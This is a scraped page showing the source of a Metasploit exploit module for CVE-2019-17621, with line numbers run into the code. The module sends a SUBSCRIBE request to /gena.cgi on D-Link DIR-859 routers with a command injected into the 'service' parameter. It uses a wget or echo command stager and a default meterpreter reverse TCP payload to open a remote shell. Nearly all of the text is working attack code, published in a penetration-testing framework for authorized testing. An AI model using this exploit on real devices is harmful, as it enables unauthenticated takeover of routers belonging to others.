Path: blob/master/modules/exploits/linux/upnp/dlink_dir859_subscribe_exec.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'D-Link DIR-859 Unauthenticated Remote Command Execution',16'Description' => %q{17D-Link DIR-859 Routers are vulnerable to OS command injection via the UPnP18interface. The vulnerability exists in /gena.cgi (function genacgi_main() in19/htdocs/cgibin), which is accessible without credentials.20},21'Author' => [22'Miguel Mendez Z., @s1kr10s', # Vulnerability discovery and initial exploit23'Pablo Pollanco P.' # Vulnerability discovery and metasploit module24],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2019-17621' ],28[ 'URL', 'https://medium.com/@s1kr10s/d94b47a15104' ]29],30'DisclosureDate' => '2019-12-24',31'Privileged' => true,32'Platform' => 'linux',33'Arch' => ARCH_MIPSBE,34'DefaultOptions' => {35'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',36'CMDSTAGER::FLAVOR' => 'wget',37'RPORT' => '49152'38},39'Targets' => [40[ 'Automatic', {} ],41],42'CmdStagerFlavor' => %w[echo wget],43'DefaultTarget' => 0,44'Notes' => {45'Stability' => [CRASH_SAFE],46'SideEffects' => [ARTIFACTS_ON_DISK],47'Reliability' => [REPEATABLE_SESSION]48}49)50)51end5253def execute_command(cmd, _opts)54callback_uri = 'http://192.168.0.' + Rex::Text.rand_text_hex(2).to_i(16).to_s +55':' + Rex::Text.rand_text_hex(4).to_i(16).to_s +56'/' + Rex::Text.rand_text_alpha(3..12)57send_request_raw({58'uri' => "/gena.cgi?service=`#{cmd}`",59'method' => 'SUBSCRIBE',60'headers' =>61{62'Callback' => "<#{callback_uri}>",63'NT' => 'upnp:event',64'Timeout' => 'Second-1800'65}66})67rescue ::Rex::ConnectionError68fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")69end7071def exploit72execute_cmdstager(linemax: 500)73end74end757677